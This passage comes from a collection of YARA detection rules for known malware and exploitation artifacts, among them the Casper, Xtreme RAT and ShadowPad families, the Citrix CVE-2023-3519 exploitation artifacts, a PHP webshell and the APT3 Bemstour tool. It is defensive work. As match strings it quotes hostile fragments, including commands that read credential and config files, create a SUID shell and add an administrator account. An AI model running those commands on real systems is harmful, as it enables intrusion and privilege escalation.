	meta:
		description = "PassCV Malware mentioned in Cylance Report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://blog.cylance.com/digitally-signed-malware-targeting-gaming-companies"
		date = "2016-10-20"
		hash1 = "0f290612b26349a551a148304a0bd3b0d0651e9563425d7c362f30bd492d8665"
		id = "6ec3371a-2a1c-53d1-b650-d28728db1b40"

	strings:
		$x1 = "NTscan.EXE" fullword wide
		$x2 = "NTscan Microsoft " fullword wide
		$s1 = "admin$" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and 2 of them )
}

rule PassCV_Sabre_Malware_5
{
	meta:
		description = "PassCV Malware mentioned in Cylance Report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://blog.cylance.com/digitally-signed-malware-targeting-gaming-companies"
		date = "2016-10-20"
		hash1 = "03aafc5f468a84f7dd7d7d38f91ff17ef1ca044e5f5e8bbdfe589f5509b46ae5"
		id = "ce8d1b9e-7750-5796-a048-20bfd48c6aee"

	strings:
		$x1 = "ncircTMPg" fullword ascii
		$x2 = "~SHELL#" fullword ascii
		$x3 = "N.adobe.xm" fullword ascii
		$s1 = "NEL32.DLL" fullword ascii
		$s2 = "BitLocker.exe" fullword wide
		$s3 = "|xtplhd" fullword ascii
		$s4 = "SERVICECORE" fullword wide
		$s5 = "SHARECONTROL" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 4000KB and 1 of ( $x* ) or all of ( $s* ) )
}

rule SUSP_NET_Msil_Suspicious_Use_StrReverse
{
	meta:
		description = "Detects mixed use of Microsoft.CSharp and VisualBasic to use StrReverse"
		author = "dr4k0nia, modified by Florian Roth"
		reference = "https://github.com/dr4k0nia/yara-rules"
		version = "1.1"
		date = "01/31/2023"
		modified = "02/22/2023"
		score = 70
		hash = "02ce0980427dea835fc9d9eed025dd26672bf2c15f0b10486ff8107ce3950701"
		id = "830dec40-4412-59c1-8b4d-a237f14acd30"

	strings:
		$a1 = ", PublicKeyToken="
		$a2 = ".NETFramework,Version="
		$csharp = "Microsoft.CSharp"
		$vbnet = "Microsoft.VisualBasic"
		$strreverse = "StrReverse"

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 50MB and all of ( $a* ) and $csharp and $vbnet and $strreverse
}

rule OSX_backdoor_Bella
{
	meta:
		description = "Bella MacOS/OSX backdoor"
		author = "John Lambert @JohnLaTwC"
		reference = "https://twitter.com/JohnLaTwC/status/911998777182924801"
		date = "2018-02-23"
		hash = "4288a81779a492b5b02bad6e90b2fa6212fa5f8ee87cc5ec9286ab523fc02446 cec7be2126d388707907b4f9d681121fd1e3ca9f828c029b02340ab1331a5524 e1cf136be50c4486ae8f5e408af80b90229f3027511b4beed69495a042af95be"
		id = "d2a994f9-acff-5de4-8f70-453b5d4d7947"

	strings:
		$h1 = "#!/usr/bin/env"
		$s0 = "subprocess" fullword ascii
		$s1 = "import sys" fullword ascii
		$s2 = "shutil" fullword ascii
		$p0 = "create_bella_helpers" fullword ascii
		$p1 = "is_there_SUID_shell" fullword ascii
		$p2 = "BELLA IS NOW RUNNING" fullword ascii
		$p3 = "SELECT * FROM bella WHERE id" fullword ascii
		$subpart1_a = "inject_payloads" fullword ascii
		$subpart1_b = "check_if_payloads" fullword ascii
		$subpart1_c = "updateDB" fullword ascii
		$subpart2_a = "appleIDPhishHelp" fullword ascii
		$subpart2_b = "appleIDPhish" fullword ascii
		$subpart2_c = "iTunes" fullword ascii

	condition:
		uint32( 0 ) == 0x752f2123 and $h1 at 0 and filesize < 120KB and @s0 [ 1 ] < 100 and @s1 [ 1 ] < 100 and @s2 [ 1 ] < 100 and 1 of ( $p* ) or all of ( $subpart1_* ) or all of ( $subpart2_* )
}

rule EXPL_CVE_2021_31166_Accept_Encoding_May21_1
{
	meta:
		description = "Detects malformed Accept-Encoding header field as used in code exploiting CVE-2021-31166"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/0vercl0k/CVE-2021-31166"
		date = "2021-05-21"
		score = 70
		id = "d0a79cdc-f3ee-58f9-805c-ec9eb7993315"

	strings:
		$xr1 = /[Aa]ccept\-[Ee]ncoding: [a-z\-]{1,16},([a-z\-\s]{1,16},|)*[\s]{1,20},/

	condition:
		1 of them
}

rule Invoke_SMBExec
{
	meta:
		description = "Detects Invoke-WmiExec or Invoke-SmbExec"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/Kevin-Robertson/Invoke-TheHash"
		date = "2017-06-14"
		hash1 = "674fc045dc198874f323ebdfb9e9ff2f591076fa6fac8d1048b5b8d9527c64cd"
		id = "07c742f4-3039-5c84-81d4-73ad25b98681"

	strings:
		$x1 = "Invoke-SMBExec -Target" fullword ascii
		$x2 = "$packet_SMB_header = Get-PacketSMBHeader 0x71 0x18 0x07,0xc8 $SMB_tree_ID $process_ID_bytes $SMB_user_ID" fullword ascii
		$s1 = "Write-Output \"Command executed with service $SMB_service on $Target\"" fullword ascii
		$s2 = "$packet_RPC_data = Get-PacketRPCBind 1 0xb8,0x10 0x01 0x00,0x00 $SMB_named_pipe_UUID 0x02,0x00" fullword ascii
		$s3 = "$SMB_named_pipe_bytes = 0x73,0x00,0x76,0x00,0x63,0x00,0x63,0x00,0x74,0x00,0x6c,0x00 # \\svcctl" fullword ascii

	condition:
		( filesize < 400KB and 1 of them )
}

rule Invoke_WMIExec_Gen_1
{
	meta:
		description = "Detects Invoke-WmiExec or Invoke-SmbExec"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/Kevin-Robertson/Invoke-TheHash"
		date = "2017-06-14"
		hash1 = "140c23514dbf8043b4f293c501c2f9046efcc1c08630621f651cfedb6eed8b97"
		hash2 = "7565d376665e3cd07d859a5cf37c2332a14c08eb808cc5d187a7f0533dc69e07"
		id = "08b79c7d-c383-5891-af0f-31a92f1ed07d"

	strings:
		$x1 = "Invoke-WMIExec " ascii
		$x2 = "$target_count = [System.math]::Pow(2,(($target_address.GetAddressBytes().Length * 8) - $subnet_mask_split))" fullword ascii
		$s1 = "Import-Module $PWD\\Invoke-TheHash.ps1" fullword ascii
		$s2 = "Import-Module $PWD\\Invoke-SMBClient.ps1" fullword ascii
		$s3 = "$target_address_list = [System.Net.Dns]::GetHostEntry($target_long).AddressList" fullword ascii
		$x4 = "Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0" ascii

	condition:
		1 of them
}

rule Invoke_SMBExec_Invoke_WMIExec_1
{
	meta:
		description = "Auto-generated rule - from files Invoke-SMBExec.ps1, Invoke-WMIExec.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/Kevin-Robertson/Invoke-TheHash"
		date = "2017-06-14"
		super_rule = 1
		hash1 = "674fc045dc198874f323ebdfb9e9ff2f591076fa6fac8d1048b5b8d9527c64cd"
		hash2 = "b41bd54bbf119d153e0878696cd5a944cbd4316c781dd8e390507b2ec2d949e7"
		id = "fd1c6599-028d-5535-beb8-5b2658481b97"

	strings:
		$s1 = "$process_ID = $process_ID -replace \"-00-00\",\"\"" fullword ascii
		$s2 = "Write-Output \"$Target did not respond\"" fullword ascii
		$s3 = "[Byte[]]$packet_call_ID_bytes = [System.BitConverter]::GetBytes($packet_call_ID)" fullword ascii

	condition:
		all of them
}

rule Invoke_WMIExec_Gen
{
	meta:
		description = "Auto-generated rule - from files Invoke-SMBClient.ps1, Invoke-SMBExec.ps1, Invoke-WMIExec.ps1, Invoke-WMIExec.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/Kevin-Robertson/Invoke-TheHash"
		date = "2017-06-14"
		super_rule = 1
		hash1 = "56c6012c36aa863663fe5536d8b7fe4c460565d456ce2277a883f10d78893c01"
		hash2 = "674fc045dc198874f323ebdfb9e9ff2f591076fa6fac8d1048b5b8d9527c64cd"
		hash3 = "b41bd54bbf119d153e0878696cd5a944cbd4316c781dd8e390507b2ec2d949e7"
		id = "08b79c7d-c383-5891-af0f-31a92f1ed07d"

	strings:
		$s1 = "$NTLMv2_hash = $HMAC_MD5.ComputeHash($username_and_target_bytes)" fullword ascii
		$s2 = "$client_challenge = [String](1..8 | ForEach-Object {\"{0:X2}\" -f (Get-Random -Minimum 1 -Maximum 255)})" fullword ascii
		$s3 = "$NTLM_hash_bytes = $NTLM_hash_bytes.Split(\"-\") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}" fullword ascii

	condition:
		all of them
}

rule SUSP_LNX_SH_CryptoMiner_Indicators_Dec20_1
{
	meta:
		description = "Detects helper script used in a crypto miner campaign"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.intezer.com/blog/research/new-golang-worm-drops-xmrig-miner-on-servers/"
		date = "2020-12-31"
		hash1 = "3298dbd985c341d57e3219e80839ec5028585d0b0a737c994363443f4439d7a5"
		id = "e376e0e1-1490-5ad4-8ca2-d28ca1c0b51a"

	strings:
		$x1 = "miner running" fullword ascii
		$x2 = "miner runing" fullword ascii
		$x3 = " --donate-level 1 "
		$x4 = " -o pool.minexmr.com:5555 " ascii

	condition:
		filesize < 20KB and 1 of them
}

rule PUA_WIN_XMRIG_CryptoCoin_Miner_Dec20
{
	meta:
		description = "Detects XMRIG crypto coin miners"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.intezer.com/blog/research/new-golang-worm-drops-xmrig-miner-on-servers/"
		date = "2020-12-31"
		hash1 = "b6154d25b3aa3098f2cee790f5de5a727fc3549865a7aa2196579fe39a86de09"
		id = "4dfb04e9-fbba-5a6f-ad20-d805025d2d74"

	strings:
		$x1 = "xmrig.exe" fullword wide
		$x2 = "xmrig.com" fullword wide
		$x3 = "* for x86, CRYPTOGAMS" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 6000KB and 2 of them or all of them
}

rule Casper_Backdoor_x86
{
	meta:
		description = "Casper French Espionage Malware - Win32/ProxyBot.B - x86 Payload http://goo.gl/VRJNLo"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://goo.gl/VRJNLo"
		date = "2015-03-05"
		modified = "2023-01-27"
		hash = "f4c39eddef1c7d99283c7303c1835e99d8e498b0"
		score = 80
		id = "9e54f00c-74a7-56cc-87e5-8dec1233cbb5"

	strings:
		$s1 = "\"svchost.exe\"" fullword wide
		$s2 = "firefox.exe" fullword ascii
		$s3 = "\"Host Process for Windows Services\"" fullword wide
		$x1 = "\\Users\\*" ascii
		$x2 = "\\Roaming\\Mozilla\\Firefox\\Profiles\\*" ascii
		$x3 = "\\Mozilla\\Firefox\\Profiles\\*" ascii
		$x4 = "\\Documents and Settings\\*" ascii
		$y1 = "%s; %S=%S" fullword wide
		$y2 = "%s; %s=%s" fullword ascii
		$y3 = "Cookie: %s=%s" fullword ascii
		$y4 = "http://%S:%d" fullword wide
		$z1 = "http://google.com/" ascii
		$z2 = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; MALC)" fullword ascii
		$z3 = "Operating System\"" fullword wide

	condition:
		( filesize < 250KB and all of ( $s* ) ) or ( 3 of ( $x* ) and 2 of ( $y* ) and 2 of ( $z* ) )
}

rule Casper_EXE_Dropper
{
	meta:
		description = "Casper French Espionage Malware - Win32/ProxyBot.B - Dropper http://goo.gl/VRJNLo"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://goo.gl/VRJNLo"
		date = "2015/03/05"
		hash = "e4cc35792a48123e71a2c7b6aa904006343a157a"
		score = 80
		id = "a901d045-6f9b-57e8-8347-6f78178b7231"

	strings:
		$s0 = "<Command>" fullword ascii
		$s1 = "</Command>" fullword ascii
		$s2 = "\" /d \"" fullword ascii
		$s4 = "'%s' %s" fullword ascii
		$s5 = "nKERNEL32.DLL" fullword wide
		$s6 = "@ReturnValue" fullword wide
		$s7 = "ID: 0x%x" fullword ascii
		$s8 = "Name: %S" fullword ascii

	condition:
		7 of them
}

rule Casper_Included_Strings
{
	meta:
		description = "Casper French Espionage Malware - String Match in File - http://goo.gl/VRJNLo"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://goo.gl/VRJNLo"
		date = "2015/03/06"
		score = 50
		id = "34ba474d-0858-534a-8f32-db5a709e8814"

	strings:
		$a0 = "cmd.exe /C FOR /L %%i IN (1,1,%d) DO IF EXIST"
		$a1 = "& SYSTEMINFO) ELSE EXIT"
		$c1 = "domcommon.exe" wide fullword
		$c2 = "jpic.gov.sy" fullword
		$c3 = "aiomgr.exe" wide fullword
		$c4 = "perfaudio.dat" fullword
		$c5 = "Casper_DLL.dll" fullword
		$c6 = { 7B 4B 59 DE 37 4A 42 26 59 98 63 C6 2D 0F 57 40 }
		$c7 = "{4216567A-4512-9825-7745F856}" fullword

	condition:
		all of ( $a* ) or uint16( 0 ) == 0x5a4d and ( 1 of ( $c* ) )
}

rule Casper_SystemInformation_Output
{
	meta:
		description = "Casper French Espionage Malware - System Info Output - http://goo.gl/VRJNLo"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://goo.gl/VRJNLo"
		date = "2015/03/06"
		score = 70
		id = "aaae200c-7ef1-52eb-be5b-36e0ad29ecef"

	strings:
		$a0 = "***** SYSTEM INFORMATION ******"
		$a1 = "***** SECURITY INFORMATION ******"
		$a2 = "Antivirus: "
		$a3 = "Firewall: "
		$a4 = "***** EXECUTION CONTEXT ******"
		$a5 = "Identity: "
		$a6 = "<CONFIG TIMESTAMP="

	condition:
		all of them
}

import "pe"

rule Xtreme_Sep17_1
{
	meta:
		description = "Detects XTREME sample analyzed in September 2017"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-09-27"
		hash1 = "93c89044e8850721d39e935acd3fb693de154b7580d62ed460256cabb75599a6"
		id = "7517e237-9cad-5619-9028-4c7ab5463040"

	strings:
		$x1 = "ServerKeyloggerU" fullword ascii
		$x2 = "TServerKeylogger" fullword ascii
		$x3 = "XtremeKeylogger" fullword wide
		$x4 = "XTREMEBINDER" fullword wide
		$s1 = "shellexecute=" fullword wide
		$s2 = "[Execute]" fullword wide
		$s3 = ";open=RECYCLER\\S-1-5-21-1482476501-3352491937-682996330-1013\\" wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 4000KB and ( pe.imphash ( ) == "735af2a144f62c50ba8e89c1c59764eb" or ( 1 of ( $x* ) or 3 of them ) )
}

rule Xtreme_Sep17_2
{
	meta:
		description = "Detects XTREME sample analyzed in September 2017"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-09-27"
		hash1 = "f8413827c52a5b073bdff657d6a277fdbfda29d909b4247982f6973424fa2dcc"
		id = "b4878e80-54dc-5a16-9129-ddf2b1a5d287"

	strings:
		$s1 = "Spy24.exe" fullword wide
		$s2 = "Remote Service Application" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 3000KB and all of them )
}

rule Xtreme_Sep17_3
{
	meta:
		description = "Detects XTREME sample analyzed in September 2017"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-09-27"
		hash1 = "f540a4cac716438da0c1c7b31661abf35136ea69b963e8f16846b96f8fd63dde"
		id = "160673ea-b263-520a-a1c1-da0f3e920f12"

	strings:
		$s2 = "Keylogg" fullword ascii
		$s4 = "XTREME" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 700KB and all of them )
}

import "pe"

rule Xtreme_RAT_Gen_Imp
{
	meta:
		description = "Detects XTREME sample analyzed in September 2017"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-09-27"
		hash1 = "7b5082bcc8487bb65c38e34c192c2a891e7bb86ba97281352b0837debee6f1cf"
		id = "10b23099-2a87-5918-927b-f20bcba1cd70"

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and ( pe.imphash ( ) == "d0bdf112886f3d846cc7780967d8efb9" or pe.imphash ( ) == "cc6f630f214cf890e63e899d8ebabba6" or pe.imphash ( ) == "e0f7991d50ceee521d7190effa3c494e" )
}

rule Office_OLE_DDEAUTO
{
	meta:
		description = "Detects DDE in MS Office documents"
		author = "NVISO Labs"
		reference = "https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/"
		date = "2017-10-12"
		score = 30
		id = "2ead3cc9-f517-5916-93c9-1393362aa45d"

	strings:
		$a = /\x13\s*DDEAUTO\b[^\x14]+/ nocase

	condition:
		uint32be( 0 ) == 0xD0CF11E0 and $a
}

rule Office_OLE_DDE
{
	meta:
		description = "Detects DDE in MS Office documents"
		author = "NVISO Labs"
		reference = "https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/"
		date = "2017-10-12"
		score = 50
		id = "2ead3cc9-f517-5916-93c9-1393362aa45d"

	strings:
		$a = /\x13\s*DDE\b[^\x14]+/ nocase
		$r1 = { 52 00 6F 00 6F 00 74 00 20 00 45 00 6E 00 74 00 72 00 79 }
		$r2 = "Adobe ARM Installer"

	condition:
		uint32be( 0 ) == 0xD0CF11E0 and $a and not 1 of ( $r* )
}

rule EXPL_Citrix_Netscaler_ADC_ForensicArtifacts_CVE_2023_3519_Jul23_2
{
	meta:
		description = "Detects forensic artifacts found after an exploitation of Citrix NetScaler ADC CVE-2023-3519"
		author = "Florian Roth"
		reference = "https://www.cisa.gov/sites/default/files/2023-07/aa23-201a_csa_threat_actors_exploiting_citrix-cve-2023-3519_to_implant_webshells.pdf"
		date = "2023-07-21"
		score = 70
		id = "471ce547-0133-5836-b9d1-02c932ecfd1e"

	strings:
		$s1 = "tar -czvf - /var/tmp/all.txt" ascii fullword
		$s2 = "-out /var/tmp/test.tar.gz" ascii
		$s3 = "/test.tar.gz /netscaler/"

	condition:
		filesize < 10MB and 1 of them
}

rule EXPL_Citrix_Netscaler_ADC_ForensicArtifacts_CVE_2023_3519_Jul23_3
{
	meta:
		description = "Detects forensic artifacts found after an exploitation of Citrix NetScaler ADC CVE-2023-3519"
		author = "Florian Roth"
		reference = "https://www.mandiant.com/resources/blog/citrix-zero-day-espionage"
		date = "2023-07-24"
		score = 70
		id = "2f40b423-f1da-5711-ac4f-18de77cd52d0"

	strings:
		$x1 = "cat /flash/nsconfig/ns.conf >>" ascii
		$x2 = "cat /nsconfig/.F1.key >>" ascii
		$x3 = "openssl base64 -d < /tmp/" ascii
		$x4 = "cp /usr/bin/bash /var/tmp/bash" ascii
		$x5 = "chmod 4775 /var/tmp/bash"
		$x6 = "pwd;pwd;pwd;pwd;pwd;"
		$x7 = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))"

	condition:
		filesize < 10MB and 1 of them
}

rule LOG_EXPL_Citrix_Netscaler_ADC_Exploitation_Attempt_CVE_2023_3519_Jul23_1
{
	meta:
		description = "This YARA rule detects forensic artifacts that appear following an attempted exploitation of Citrix NetScaler ADC CVE-2023-3519. The rule identifies an attempt to access the vulnerable function using an overly long URL, a potential sign of attempted exploitation. However, it does not confirm whether such an attempt was successful."
		author = "Florian Roth"
		reference = "https://blog.assetnote.io/2023/07/24/citrix-rce-part-2-cve-2023-3519/"
		date = "2023-07-27"
		score = 65
		id = "7dfe4130-d976-5d6d-a05d-ccadefe45406"

	strings:
		$sr1 = /GWTEST FORMS SSO: Parse=0; URLLEN=([2-9][0-9]{2}|[0-9]{4,20}); Event: start=0x/
		$s1 = ", type=1; Target: start=0x"

	condition:
		all of them
}

rule WEBSHELL_SECRETSAUCE_Jul23_1
{
	meta:
		description = "Detects SECRETSAUCE PHP webshells (found after an exploitation of Citrix NetScaler ADC CVE-2023-3519)"
		author = "Florian Roth"
		reference = "https://www.mandiant.com/resources/blog/citrix-zero-day-espionage"
		date = "2023-07-24"
		score = 85
		id = "db0542e7-648e-5f60-9838-e07498f58b51"

	strings:
		$sa1 = "for ($x=0; $x<=1; $x++) {" ascii
		$sa2 = "$_REQUEST[" ascii
		$sa3 = "@eval" ascii
		$sb1 = "public $cmd;" ascii
		$sb2 = "return @eval($a);" ascii
		$sb3 = "$z->run($z->get('openssl_public_decrypt'));"

	condition:
		filesize < 100KB and ( all of ( $sa* ) or 2 of ( $sb* ) )
}

rule apt3_bemstour_strings
{
	meta:
		description = "Detects strings used by the Bemstour exploitation tool"
		author = "Mark Lechtik"
		company = "Check Point Software Technologies LTD."
		date = "2019-06-25"
		sha256 = "0b28433a2b7993da65e95a45c2adf7bc37edbd2a8db717b85666d6c88140698a"
		uuid = "8b76e10a-040f-505e-9dff-cd0a689b121e"

	strings:
		$dbg_print_1 = "leaked address is 0x%llx" ascii wide
		$dbg_print_2 = "========== %s ==========" ascii wide
		$dbg_print_3 = "detailVersion:%d" ascii wide
		$dbg_print_4 = "create pipe twice failed" ascii wide
		$dbg_print_5 = "WSAStartup function failed with error: %d" ascii wide
		$dbg_print_6 = "can't open input file." ascii wide
		$dbg_print_7 = "Allocate Buffer Failed." ascii wide
		$dbg_print_8 = "Connect to target failed." ascii wide
		$dbg_print_9 = "connect successful." ascii wide
		$dbg_print_10 = "not supported Platform" ascii wide
		$dbg_print_11 = "Wait several seconds." ascii wide
		$dbg_print_12 = "not set where to write ListEntry ." ascii wide
		$dbg_print_13 = "backdoor not installed." ascii wide
		$dbg_print_14 = "REConnect to target failed." ascii wide
		$dbg_print_15 = "Construct TreeConnectAndX Request Failed." ascii wide
		$dbg_print_16 = "Construct NTCreateAndXRequest  Failed." ascii wide
		$dbg_print_17 = "Construct Trans2  Failed." ascii wide
		$dbg_print_18 = "Construct ConsWXR  Failed." ascii wide
		$dbg_print_19 = "Construct ConsTransSecondary  Failed." ascii wide
		$dbg_print_20 = "if you don't want to input password , use server2003 version.." ascii wide
		$cmdline_1 = "Command format  %s TargetIp domainname username password 2" ascii wide
		$cmdline_2 = "Command format  %s TargetIp domainname username password 1" ascii wide
		$cmdline_3 = "cmd.exe /c net user test test /add && cmd.exe /c net localgroup administrators test /add" ascii wide
		$cmdline_4 = "hello.exe  \"C:\\WINDOWS\\DEBUG\\test.exe\"" ascii wide
		$cmdline_5 = "parameter not right" ascii wide
		$smb_param_1 = "browser" ascii wide
		$smb_param_2 = "spoolss" ascii wide
		$smb_param_3 = "srvsvc" ascii wide
		$smb_param_4 = "\\PIPE\\LANMAN" ascii wide
		$smb_param_5 = "Werttys for Workgroups 3.1a" ascii wide
		$smb_param_6 = "PC NETWORK PROGRAM 1.0" ascii wide
		$smb_param_7 = "LANMAN1.0" ascii wide
		$smb_param_8 = "LM1.2X002" ascii wide
		$smb_param_9 = "LANMAN2.1" ascii wide
		$smb_param_10 = "NT LM 0.12" ascii wide
		$smb_param_12 = "WORKGROUP" ascii wide
		$smb_param_13 = "Windows Server 2003 3790 Service Pack 2" ascii wide
		$smb_param_14 = "Windows Server 2003 5.2" ascii wide
		$smb_param_15 = "Windows 2002 Service Pack 2 2600" ascii wide
		$smb_param_16 = "Windows 2002 5.1" ascii wide
		$smb_param_17 = "PC NETWORK PROGRAM 1.0" ascii wide
		$smb_param_18 = "Windows 2002 5.1" ascii wide
		$smb_param_19 = "Windows for Workgroups 3.1a" ascii wide
		$unique_str_1 = "WIN-NGJ7GKNROVS"
		$unique_str_2 = "XD-A31C2E0087B2"

	condition:
		uint16( 0 ) == 0x5a4d and ( 5 of ( $dbg_print* ) or 2 of ( $cmdline* ) or 1 of ( $unique_str* ) ) and 3 of ( $smb_param* )
}

rule apt3_bemstour_implant_byte_patch
{
	meta:
		description = "Detects an implant used by Bemstour exploitation tool (APT3)"
		author = "Mark Lechtik"
		company = "Check Point Software Technologies LTD."
		date = "2019-06-25"
		sha256 = "0b28433a2b7993da65e95a45c2adf7bc37edbd2a8db717b85666d6c88140698a"
		uuid = "c30434c3-8949-566c-b6a6-29bffdaf961d"

	strings:
		$chunk_1 = {

C7 45 ?? 55 8B EC 83
C7 45 ?? EC 74 53 56
C7 45 ?? 8B 75 08 33
C7 45 ?? C9 57 C7 45
C7 45 ?? 8C 4C 6F 61

}

	condition:
		any of them
}

rule apt3_bemstour_implant_command_stack_variable
{
	meta:
		description = "Detecs an implant used by Bemstour exploitation tool (APT3)"
		author = "Mark Lechtik"
		company = "Check Point Software Technologies LTD."
		date = "2019-06-25"
		sha256 = "0b28433a2b7993da65e95a45c2adf7bc37edbd2a8db717b85666d6c88140698a"
		uuid = "c773da5a-2d3f-5a0a-af2e-28ad382622b3"

	strings:
		$chunk_1 = {

C7 85 ?? ?? ?? ?? 63 6D 64 2E
C7 85 ?? ?? ?? ?? 65 78 65 20
C7 85 ?? ?? ?? ?? 2F 63 20 63
C7 85 ?? ?? ?? ?? 6F 70 79 20
C7 85 ?? ?? ?? ?? 25 77 69 6E
C7 85 ?? ?? ?? ?? 64 69 72 25
C7 85 ?? ?? ?? ?? 5C 73 79 73
C7 85 ?? ?? ?? ?? 74 65 6D 33
C7 85 ?? ?? ?? ?? 32 5C 63 6D
C7 85 ?? ?? ?? ?? 64 2E 65 78
C7 85 ?? ?? ?? ?? 65 20 25 77
C7 85 ?? ?? ?? ?? 69 6E 64 69
C7 85 ?? ?? ?? ?? 72 25 5C 73
C7 85 ?? ?? ?? ?? 79 73 74 65
C7 85 ?? ?? ?? ?? 6D 33 32 5C
C7 85 ?? ?? ?? ?? 73 65 74 68
C7 85 ?? ?? ?? ?? 63 2E 65 78
C7 85 ?? ?? ?? ?? 65 20 2F 79
83 A5 ?? ?? ?? ?? 00
}
		$chunk_2 = {

C7 85 ?? ?? ?? ?? 63 6D 64 20
C7 85 ?? ?? ?? ?? 2F 63 20 22
C7 85 ?? ?? ?? ?? 6E 65 74 20
C7 85 ?? ?? ?? ?? 75 73 65 72
C7 85 ?? ?? ?? ?? 20 63 65 73
C7 85 ?? ?? ?? ?? 73 75 70 70
C7 85 ?? ?? ?? ?? 6F 72 74 20
C7 85 ?? ?? ?? ?? 31 71 61 7A
C7 85 ?? ?? ?? ?? 23 45 44 43
C7 85 ?? ?? ?? ?? 20 2F 61 64
C7 85 ?? ?? ?? ?? 64 20 26 26
C7 85 ?? ?? ?? ?? 20 6E 65 74
C7 85 ?? ?? ?? ?? 20 6C 6F 63
C7 85 ?? ?? ?? ?? 61 6C 67 72
C7 85 ?? ?? ?? ?? 6F 75 70 20
C7 85 ?? ?? ?? ?? 61 64 6D 69
C7 85 ?? ?? ?? ?? 6E 69 73 74
C7 85 ?? ?? ?? ?? 72 61 74 6F
C7 85 ?? ?? ?? ?? 72 73 20 63
C7 85 ?? ?? ?? ?? 65 73 73 75
C7 85 ?? ?? ?? ?? 70 70 6F 72
C7 85 ?? ?? ?? ?? 74 20 2F 61
C7 85 ?? ?? ?? ?? 64 64 22 00
6A 5C

}
		$chunk_3 = {

C7 45 ?? 57 69 6E 45
C7 45 ?? 78 65 63 00
C7 45 ?? 47 65 74 50
C7 45 ?? 72 6F 63 41
C7 45 ?? 64 64 72 65
C7 45 ?? 73 73 00 00
C7 45 ?? 43 72 65 61
C7 45 ?? 74 65 46 69
C7 45 ?? 6C 65 41 00
C7 45 ?? 57 72 69 74
C7 45 ?? 65 46 69 6C
C7 45 ?? 65 00 00 00
C7 45 ?? 43 6C 6F 73
C7 45 ?? 65 48 61 6E
C7 45 ?? 64 6C 65 00
89 4D ??

}

	condition:
		any of them
}

import "pe"

rule ShadowPad_nssock2
{
	meta:
		description = "Detects malicious nssock2.dll from ShadowPad incident - file nssock2.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/shadowpad-in-corporate-networks/81432/"
		date = "2017-08-15"
		hash1 = "462a02a8094e833fd456baf0a6d4e18bb7dab1a9f74d5f163a8334921a4ffde8"
		hash2 = "c45116a22cf5695b618fcdf1002619e8544ba015d06b2e1dbf47982600c7545f"
		hash3 = "696be784c67896b9239a8af0a167add72b1becd3ef98d03e99207a3d5734f6eb"
		hash4 = "515d3110498d7b4fdb451ed60bb11cd6835fcff4780cb2b982ffd2740e1347a0"
		hash5 = "536d7e3bd1c9e1c2fd8438ab75d6c29c921974560b47c71686714d12fb8e9882"
		hash6 = "637fa40cf7dd0252c87140f7895768f42a370551c87c37a3a77aac00eb17d72e"
		id = "47ecc7f8-065a-558b-9bba-300fd28f4eab"

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 500KB and ( pe.imphash ( ) == "c67de089f2009b21715744762fc484e8" or pe.imphash ( ) == "11522f7d4b2fc05acba8f534ca1b828a" ) )
}

rule MAL_Payload_F5_BIG_IP_Exploitations_Jul20_1
{
	meta:
